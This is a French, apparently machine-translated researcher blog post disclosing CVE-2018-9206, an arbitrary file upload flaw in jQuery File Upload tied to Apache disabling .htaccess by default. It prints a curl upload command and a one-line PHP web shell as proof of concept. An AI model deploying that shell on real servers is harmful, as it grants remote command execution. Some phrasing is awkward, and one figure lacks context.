La sécurité vous laisse

J'ai assisté à une réunion du Groupe de travail sur la messagerie, les logiciels malveillants et les mobiles contre les abus (m3aawg.org) à Brooklyn, New York. Je m'attendais à un meilleur temps pour se promener dans la ville, profiter de la conférence et d'un large choix de plats dans la région. J'étais tellement sûr de la clarté du ciel que je n'ai même rien emporté de la pluie avec moi. Et il a plu toute la semaine. Cela m'a obligé à rester dans ma chambre d'hôtel avec une connexion Wi-Fi gratuite et mon ordinateur portable de travail. J'ai décidé de passer ce temps à rechercher Node.js et leurs packages associés disponibles sur https://www.npmjs.com .


Il existe des milliers de packages d'utilisateurs disponibles pour téléchargement et installation dans votre projet. J'ai recherché dans NPM des noms de packages populaires tels que fichier, sauvegarde, téléchargement ou téléchargement. La dernière recherche m'a montré un projet appelé téléchargement de fichier jQuery depuis Blueimp. Sa description semblait assez intéressante pour la télécharger et l'explorer.


Widget de téléchargement de fichiers pour jQuery, avec prise en charge de la sélection de fichiers multiples, glisser-déposer, indicateur de progression, validation et aperçu des images, audio et vidéo. Il prend en charge les demandes interdomaines, un mécanisme de téléchargement de fichiers partiel et renouvelable avec redimensionnement des images côté client. Il fonctionne dans n'importe quelle plateforme de serveur (PHP, Python, Ruby on Rails, Java, Node.js, Go, etc.), qui prend en charge le téléchargement de fichiers standard via un formulaire HTML.

J'ai commencé à regarder le code source du paquet et je me suis concentré sur quelques fichiers PHP dans le répertoire server / php. Les fichiers s'appelaient upload.php et UploadHandler.php. upload.php appelé UploadHandler.php, où se trouvait le code de téléchargement du fichier principal. J'ai également remarqué que les fichiers étaient téléchargés dans le répertoire files / à la racine du serveur Web. J'ai écrit une commande simple avec curl et un script PHP primitif qui m'a confirmé que je peux télécharger le fichier sur le serveur et ensuite l'utiliser pour exécuter les commandes sur le serveur.


$ curl -F "files=@shell.php" http://example.com/jQuery-File-Upload-9.22.0/server/php/index.php 

Où le fichier shell.php contient:


 <?php $cmd=$_GET['cmd']; system($cmd);?> 

L'ouverture d'une page dans le navigateur avec le paramètre cmd = id du serveur de test a renvoyé l'ID de l'utilisateur à partir duquel le processus serveur a été lancé. J'ai supposé que cette vulnérabilité n'était pas passée inaperçue et une recherche rapide sur Google m'a confirmé que d'autres projets utilisant ce code ou ses dérivés se sont révélés vulnérables. Il y avait également plusieurs vidéos montrant comment attaquer des progiciels similaires.


J'ai informé l'auteur de jQuery File Upload et commencé à documenter ce que j'ai trouvé pour attribuer un numéro CVE. Bientôt le lendemain, un auteur quelque peu gêné m'a répondu, demandant plus d'informations, car il ne pouvait pas reproduire la vulnérabilité dans son environnement de test.


Après avoir comparé nos configurations de test par e-mail, nous avons constaté que les développeurs Apache avaient désactivé la prise en charge des fichiers .htaccess depuis la version 2.3.9. Il s'avère que cela a été fait pour améliorer les performances , afin que le serveur n'ait pas à vérifier ce fichier à chaque fois qu'il accède au répertoire correspondant. De plus, cette modification a également été apportée pour empêcher les utilisateurs de remplacer les paramètres de sécurité configurés sur le serveur.


Ainsi, Apache avait de bonnes intentions lors de la désactivation de .htaccess, mais leurs modifications mettaient également certains développeurs et leurs projets en danger, en particulier s'ils comptaient sur les paramètres de sécurité définis dans .htaccess.


Dans le cas de cette bibliothèque, afin de gérer correctement cette situation et de corriger la vulnérabilité de téléchargement de fichiers CVE-2018-9206, le développeur a modifié le code afin qu'il ne permette de télécharger que des fichiers image.


Ce problème concerne plusieurs projets.


Il convient également de noter ici qu'en raison des changements dans Apache, certains des 7 800 projets restants peuvent être vulnérables aux problèmes de téléchargement de fichiers.



La plupart de ces fourches portent toujours la vulnérabilité d'origine dans leur code. Dans certains cas, la vulnérabilité persiste même après que le développeur a édité le code original de Blueimp pour l'intégrer dans son projet, de sorte que les projets sont toujours vulnérables à mon exemple d'attaque avec de légères variations.


Cela signifie que si l'un de ces projets est utilisé en production, il est exposé à la vulnérabilité de téléchargement d'un fichier avec son exécution ultérieure. Ouvrir des opportunités de voler des données de l'application, injecter des logiciels malveillants, défigurer et d'autres opportunités de nuire.


Malheureusement, il n'y a aucun moyen de déterminer exactement combien de projets issus du jQuery File Upload d'origine sont toujours activement pris en charge et d'appliquer les modifications apportées dans le projet principal. Il n'est également pas possible de déterminer exactement où les projets fourchus sont utilisés dans la production, le cas échéant. De plus, les anciennes versions du projet étaient également vulnérables aux problèmes de téléchargement de fichiers, jusqu'en 2010.


Conclusion


Internet s'appuie sur de nombreux mécanismes de sécurité pour assurer la sécurité et la sûreté de nos systèmes, données et transactions. Si l'un de ces mécanismes disparaît soudainement, il peut compromettre la sécurité des utilisateurs et des développeurs qui en dépendent.


C'est une bonne idée pour les développeurs de regarder les changements dans les systèmes et les bibliothèques sur lesquels ils fondent leur projet. Dans cet article, le mécanisme de sécurité qu'Apache a supprimé n'a pas seulement affecté le téléchargement du fichier Jquery de Blueimp, mais toutes ses fourches et branches. La vulnérabilité a touché de nombreux projets qui en dépendent, allant des applications Web autonomes aux plugins pour WordPress et autres CMS.


Source: https://habr.com/ru/post/fr427171/


All Articles